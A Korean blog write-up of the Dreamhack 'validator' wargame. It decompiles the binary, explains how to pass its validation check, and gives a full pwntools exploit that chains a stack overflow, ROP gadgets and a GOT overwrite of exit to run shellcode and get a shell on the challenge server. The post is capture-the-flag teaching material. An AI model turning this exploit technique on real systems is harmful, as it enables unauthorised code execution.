[드림핵 시스템 해킹] Wargame : validator

asdf·2025년 1월 23일

pwnable

목록 보기
36/36

문제


풀이


취약점 분석


Partial RELRO만 적용되어 있습니다.

문제의 압축파일을 해제했는데 소스 파일이 없습니다. 이런 경우 IDA같은 툴을 사용해 디컴파일을 하여 문제를 해결할 수 있습니다.

다음은 IDA로 validator_dist를 연 화면입니다.

이제 f5를 눌러 디컴파일해서 main 함수를 살펴보겠습니다.

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE s[128]; // [rsp+0h] [rbp-80h] BYREF

  memset(s, 0, 0x10uLL);
  read(0, s, 0x400uLL);
  validate(s, 128LL);
  return 0;
}

read에서 스택 버퍼 오버플로우를 할 수 있습니다. 이제 validate 함수를 살펴보겠습니다.

__int64 __fastcall validate(__int64 a1, unsigned __int64 a2)
{
  unsigned int i; // [rsp+1Ch] [rbp-4h]
  int j; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= 9; ++i )
  {
    if ( *(_BYTE *)((int)i + a1) != correct[i] )
      exit(0);
  }
  for ( j = 11; a2 > j; ++j )
  {
    if ( *(unsigned __int8 *)(j + a1) != *(char *)(j + 1LL + a1) + 1 )
      exit(0);
  }
  return 0LL;
}

함수의 동작을 간단하게 설명하면 a1[0:10]이 correct와 맞는지 비교한 후, a1[11:a2] 범위에서는 a1[n] == a1[n+1] + 1 을 만족하는지를 확인하고 조건을 만족하지 않으면 프로그램을 종료하는 함수입니다.

Partial RELRO가 적용되어 있으므로 GOT overwrite가 가능합니다. validate 함수를 통과할 수 있도록 데이터를 넣고 got overwrite를 수행하면 될 것 같습니다.

익스플로잇 실행

validate의 첫 부분은 a1의 첫 10 바이트와 correct를 비교하여 다르면 프로그램을 종료합니다. 여기서 correct를 구해보겠습니다.

디컴파일된 코드에서 correct를 더블 클릭하면 correct가 "DREAMHACK!"이라는 것을 알 수 있습니다.

validate의 두 번째 부분은 a1[11:a2]의 범위에서 a1[n] == a1[n+1] + 1을 만족하는지 확인합니다.

validate 함수를 통과할 수 있도록 payload를 구성해 보겠습니다.

p = remote("host1.dreamhack.games", 21294)
e = ELF("./validator_server")
context.arch = "amd64"

pop_rdi = 0x00000000004006f3
pop_rsi_r15 = 0x00000000004006f1
pop_rdx = 0x000000000040057b

payload = b"DREAMHACK!"
lst = []
for i in range(126, 0, -1):
    lst.append(i)
payload += bytes(lst)

여기서 validate의 a2는 128이므로 첫 조건인 DREAMHACK!을 제외하고 118바이트만 for 문으로 채우면 됩니다. 저는 118 바이트에 sfp 8 바이트까지 한 번에 채우기 위해 126 바이트를 채웠습니다.

이제 got overwrite로 셸을 얻겠습니다.

payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(e.got["exit"]) + p64(0)
payload += p64(pop_rdx) + p64(0x150) + p64(e.plt["read"])
payload += p64(e.got["exit"])

p.send(payload)
p.send(asm(shellcraft.sh()))
p.interactive()

전체 코드는 아래와 같습니다.

from pwn import *

p = remote("host1.dreamhack.games", 21294)
e = ELF("./validator_server")
context.arch = "amd64"

pop_rdi = 0x00000000004006f3
pop_rsi_r15 = 0x00000000004006f1
pop_rdx = 0x000000000040057b

payload = b"DREAMHACK!"
lst = []
for i in range(126, 0, -1):
    lst.append(i)
payload += bytes(lst)

payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(e.got["exit"]) + p64(0)
payload += p64(pop_rdx) + p64(0x150) + p64(e.plt["read"])
payload += p64(e.got["exit"])

p.send(payload)
p.send(asm(shellcraft.sh()))
p.interactive()

실행하면 셸을 얻을 수 있습니다.

profile
Rainy Waltz(a_hisa)

0개의 댓글